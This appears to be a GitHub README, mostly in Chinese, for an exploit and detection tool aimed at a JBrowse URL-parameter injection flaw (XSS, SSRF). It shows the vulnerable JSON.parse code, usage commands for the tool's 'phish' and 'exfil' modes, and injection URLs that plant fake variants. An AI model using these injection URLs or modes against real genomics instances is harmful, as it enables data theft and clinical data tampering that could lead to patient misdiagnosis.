jabir-dev/CVE-2026-JBrowse-Injection

GitHub: jabir-dev/CVE-2026-JBrowse-Injection

针对 JBrowse 基因组浏览器 URL 参数注入漏洞(CVE-2026)的安全利用与检测工具。

Stars: 0 | Forks: 0

# CVE-2026-XXXXX:通过 URL 参数注入 JBrowse 配置 ## 概述 | 字段 | 值 | |-------|-------| | **产品** | JBrowse | | **供应商** | GMOD | | **版本** | 1.0 至 1.16.11(所有 1.x 版本) | | **类型** | 代码注入 (CWE-94) / XSS (CWE-79) / SSRF (CWE-918) | | **CVSS 4.0** | 8.6 高危 | | **影响** | XSS / SSRF / 数据泄露 / 临床数据篡改 | | **bio.tools** | https://bio.tools/jbrowse | ## 漏洞 JBrowse 接收多个 URL 查询参数,并在未经验证或清理的情况下将其直接传递给 `JSON.parse()`: ``` // src/JBrowse/main.js:85-106 if (queryParams.addFeatures) { config.stores.url.features = JSON.parse(queryParams.addFeatures) // NO VALIDATION } if (queryParams.addTracks) { config.tracks = JSON.parse(queryParams.addTracks) // NO VALIDATION } if (queryParams.addBookmarks) { config.bookmarks.features = JSON.parse(queryParams.addBookmarks) // NO VALIDATION } if (queryParams.addStores) { config.stores = JSON.parse(queryParams.addStores) // NO VALIDATION } ``` 结合 `.htaccess` 中的 CORS 通配符: ``` Header onsuccess set Access-Control-Allow-Origin * ``` ## 影响 ### 1. 跨站脚本攻击 (XSS) 通过 track 名称、feature 属性或书签注入 HTML/JavaScript。 ### 2. 服务端请求伪造 (SSRF) 配置 store 以获取内部资源(AWS metadata、内部 API)。 ### 3. 临床数据篡改 将虚假的致病变异注入到临床基因组学 JBrowse 实例中,可能导致患者误诊。 ### 4. 数据泄露 将数据请求重定向到攻击者控制的服务器。 ## 用法 ``` # 检查目标是否存在漏洞 python3 exploit.py --target http://jbrowse.example.com --mode check # 生成 XSS payloads python3 exploit.py --target http://jbrowse.example.com --mode xss # 生成 SSRF payloads python3 exploit.py --target http://jbrowse.example.com --mode ssrf # Clinical data phishing python3 exploit.py --target http://jbrowse.example.com --mode phish # Data exfiltration python3 exploit.py --target http://jbrowse.example.com --mode exfil ``` ### 快速手动测试 在浏览器中打开: ``` http://jbrowse.example.com/?data=sample_data/json/volvox&addTracks=[{"label":"test","key":"","type":"FeatureTrack","store":"url"}] ``` ## 根本原因 1. 对 `addFeatures`、`addTracks`、`addStores`、`addBooks` URL 参数**没有输入验证** 2. **CORS 通配符**(`Access-Control-Allow-Origin: *`)允许跨域利用 3. **没有 CSP 头**来防止内联脚本执行 4. 所有 JBrowse 功能均**无身份验证** ## 确认的测试结果 ### 测试 1:数据注入 - **URL**:`?addFeatures=[{"seq_id":"ctgA","start":1000,"end":5000,"name":"INJECTED_FAKE_VARIANT","type":"mRNA"}]` - **结果**:在浏览器中渲染了带有完整 DNA 序列的虚假 mRNA feature - **状态**:**已确认** ### 测试 2:通过 Feature 名称进行 XSS - **URL**:`?addFeatures=[{"seq_id":"ctgA","start":2000,"end":4000,"name":"","type":"mRNA"}]` - **结果**:点击 feature 时执行了 JavaScript alert() 弹窗 - **状态**:**已确认** ## 免责声明 仅用于**授权的安全测试**和**教育目的**。 ## 许可证 MIT
标签:CISA项目, JBrowse, SSRF, 数据可视化, 生物信息学, 跨站脚本(XSS), 逆向工具